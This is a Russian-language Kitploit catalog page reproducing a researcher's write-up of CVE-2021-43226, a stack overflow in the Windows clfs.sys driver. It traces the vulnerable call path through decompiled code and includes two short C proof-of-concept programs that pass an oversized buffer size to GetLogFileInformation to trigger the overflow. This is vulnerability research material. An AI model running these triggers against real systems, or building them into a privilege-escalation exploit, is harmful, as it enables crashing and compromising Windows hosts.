Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2021-43226PoC — Доказательство концепции CVE-2021-43226 — переполнение стека в драйвере Windows clfs.sys | Kitploit
Инструменты/GitHubGitHub/rosayxy/cve-2021-43226poc
Анализ уязвимостейЭксплуатацияЭксплуатация Бинарных Файлов
GitHubrosayxy/cve-2021-43226poc

cve-2021-43226PoC

Доказательство концепции CVE-2021-43226 — переполнение стека в драйвере Windows clfs.sys

Репозиторий
212 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Воспроизведение CVE-2021-43226

Среда

Операционная система: Win10 20H2 на Hyper-V, версия 19042.508. На сайте https://os.click/en найдены довольно полные образы Windows, и на данный момент бэкдоров не обнаружено.
Поскольку найденный PoC скомпилирован с помощью Visual Studio 2013, я также использую Visual Studio 2013 со статической компоновкой.

Уязвимость

Уязвимость находится в функции CClfsLogFcbVirtual::QueryLogFileInfo в clfs.sys.
В документации Microsoft clfs.sys описывается так:

The Common Log File System (CLFS) API provides a high-performance, general-purpose log file subsystem that dedicated client applications can use and multiple clients can share to optimize log access.

Первый указатель этой функции — CClfsLogFcbVirtual* this. Сравнивая код до и после патча, можно заметить одно очевидное различие: в следующем фрагменте кода

root@kitploit:~
v11 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD, _QWORD, _DWORD, __int64 *, unsigned int *))(**((_QWORD **)this + 78) + 152i64))(
              *((_QWORD *)this + 78),
              a2,
              0i64,
              0i64,
              0,
              Src,
              Size);

перед ним устанавливается ли Size равным 120.
Среди других параметров, передаваемых этой функцией, a2 — это FILE_OBJECT, Src — массив в стеке (IDA декомпилирует как __int64 Src[16]; // [rsp+60h] [rbp-C8h] BYREF), а описание этой уязвимости указывает на переполнение стека. Предположительно, когда Size больше 120, происходит переполнение стека.
Одна из возникших проблем — невозможность напрямую просмотреть перекрёстные ссылки. Функция вызывается через __guard_dispatch_icall_fptr, и в настоящее время ведётся определение процесса передачи параметров при вызове функции.
(обновление): Эта функция вызывается из функций ClfsQueryLogFileInformation или CClfsRequest::LogFileInfo, которые соответственно используют API CreateLogFile и GetLogFileInformation. Поскольку цепочка вызова GetLogFileInformation заметно короче, выбираем этот API для создания сбоя.

Последний шаг передачи параметров при вызове GetLogFileInformation находится в функции LogFileInfo:

root@kitploit:~
v10 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD))(**((_QWORD **)this + 18) + 240i64))(
            *((_QWORD *)this + 18),
            v14,
            **(unsigned int **)(*((_QWORD *)this + 6) + 24i64));

где v14 — это FileObject, а this — это CClfsRequest, переданный в LogFileInfo в качестве параметра.

Продолжаем рассматривать функцию, вызывающую LogFileInfo, — это CClfsRequest::Dispatch (конкретное объявление: __int64 fastcall CClfsRequest::Dispatch(CClfsRequest *this, PIRP Irp, struct _DEVICE_OBJECT *a3)). Эта функция использует LowPart = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart; для определения, какую конкретно функцию вызывать далее. CurrentStackLocation — это struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx, передаваемая как параметр. Присваивание this, в свою очередь, зависит от параметров, переданных в этот dispatch из вышестоящей функции. Идём выше.

Далее — функция CClfsDispatchIoRequest: v7 = CClfsRequest::Dispatch(v4, Irp, a1); a1 и Irp — входные параметры, a1 — DeviceObject, Irp — указатель PIRP (структура IRP, см. https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_irp).
Присваивание v4:

root@kitploit:~
v6 = (CClfsRequest *)ExAllocateFromNPagedLookasideList((PNPAGED_LOOKASIDE_LIST)&CClfsRequest::m_laList);
if ( v6 )
  v4 = CClfsRequest::CClfsRequest(v6); // v4 — тип int64

Продолжаем смотреть передачу параметров. Дошли до функции CClfsDriver::LogIoDispatch, которая напрямую передаёт принятые параметры в CClfsDispatchIoRequest.
Ещё выше — функция nt!IofCallDriver с объявлением NTSTATUS IofCallDriver(PDEVICE_OBJECT DeviceObject, __drv_aliasesMem PIRP Irp);

Воспроизведение

Сначала найдём конкретное объявление API и значение параметров.
GetLogFileInformation:

root@kitploit:~
CLFSUSER_API BOOL GetLogFileInformation(
  [in]      HANDLE            hLog,
  [in, out] PCLFS_INFORMATION pinfoBuffer,
  [in, out] PULONG            cbBuffer
);

Определения параметров:

  • hLog: дескриптор открытого журнала, полученный при успешном вызове CreateLogFile. Дескриптор журнала может ссылаться на выделенный или мультиплексированный журнал.
  • pinfoBuffer: указатель на выделенную пользователем структуру CLFS_INFORMATION, которая получает метаданные журнала.
  • cbBuffer: указатель на переменную, которая на входе задаёт размер (в байтах) буфера метаданных, на который указывает pinfoBuffer.
root@kitploit:~
#include <stdio.h>
#include <wchar.h>
#include <Windows.h>
#include <windef.h>
#include <stdlib.h>
#include <clfsw32.h>
#include <clfs.h>
#pragma comment(lib,"clfsw32.lib")
int main(){
	// создание файла журнала
	wchar_t* logname = L"LOG:C:\\Users\\Public\\MyLog::Logstream";
	HANDLE handle = CreateLogFile(logname, GENERIC_WRITE|GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0);
	if (handle == INVALID_HANDLE_VALUE){
		printf("sad:(\n");
		abort();
	}
	printf("create log file success\n");
	// sizeof(CLS_INFORMATION) равно 120, т.е. 0x78
	CLFS_INFORMATION buffer;
	ULONG t = 0x120;
	BOOL ret_val = GetLogFileInformation(handle, &buffer, &t);
	return 0;
}

Параметры CreateLogFile и GetLogFileInformation берутся прямо из документации Microsoft (https://learn.microsoft.com/en-us/previous-versions/windows/desktop/clfs/creating-a-log-file).
Однако возникла проблема с logname. Изначально следовал документации:

Например: путь "LOG:c:\MyDirectory\MyLog" создаёт файл "c:\MyDirectory\MyLog.blf".

Но оказалось, что при этом непосредственно в текущем каталоге создаётся файл журнала с именем "c". Посмотрел PoC (Others), изменил на общий путь для Windows: "LOG: C:\MyLog". Но это тоже не сработало: при отладке выяснилось, что вызывается не CClfsLogFcbVirtual::QueryLogFileInfo, а CClfsLogFcbPhysical::QueryLogFileInfo. Поэтому добавил LogStreamName, и всё заработало.
Ещё одна мелкая проблема: при генерации кода в Visual Studio со статической компоновкой без строки #pragma comment(lib,"clfsw32.lib") компоновщик постоянно выдаёт ошибки о том, что не может найти CreateLogFile и GetLogFileInformation.

PoC (Others)

(https://github.com/KaLendsi/CVE-2021-43224-POC)

root@kitploit:~
#include <Windows.h>
#include <wchar.h>
#include <iostream>
#include <clfsw32.h>
#include <Clfsmgmtw32.h>
#pragma comment(lib, "clfsw32.lib")

int main() {
	wchar_t szLogPath[] = L"LOG:C:\\Users\\Public\\MyLog::Stream1";

	//wchar_t szLogPath[] = L"??\\LOG:\\HarddiskVolume0\\MyLog";

	//wchar_t szLogPath[] = L"LOG:\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0\\Users\\Public\\MysssLog";

	//\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0

	//SECURITY_ATTRIBUTES psaLogFile = {};
	HANDLE   hLog = CreateLogFile(szLogPath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, NULL);
	if (INVALID_HANDLE_VALUE == hLog)
	{
		printf("error=%d\n", GetLastError());
		return 1;
	}
	if (!RegisterManageableLogClient(hLog, 0))
		printf("error=%d\n", GetLastError());
	printf("hLog=%p\n", hLog);
	CLFS_INFORMATION pinfoBuffer = {};

	//ULONG infoSize = sizeof(pinfoBuffer);
	ULONG infoSize = 0x110;

	//	system("pause");
	DWORD dwRet = GetLogFileInformation(hLog, &pinfoBuffer, &infoSize);
	if (dwRet == NULL)
	{
		printf("error=%d\n", GetLastError());
		return 1;
	}
	printf("dwRet=%08x\n", dwRet);

	return 0;
}
Скачать инструмент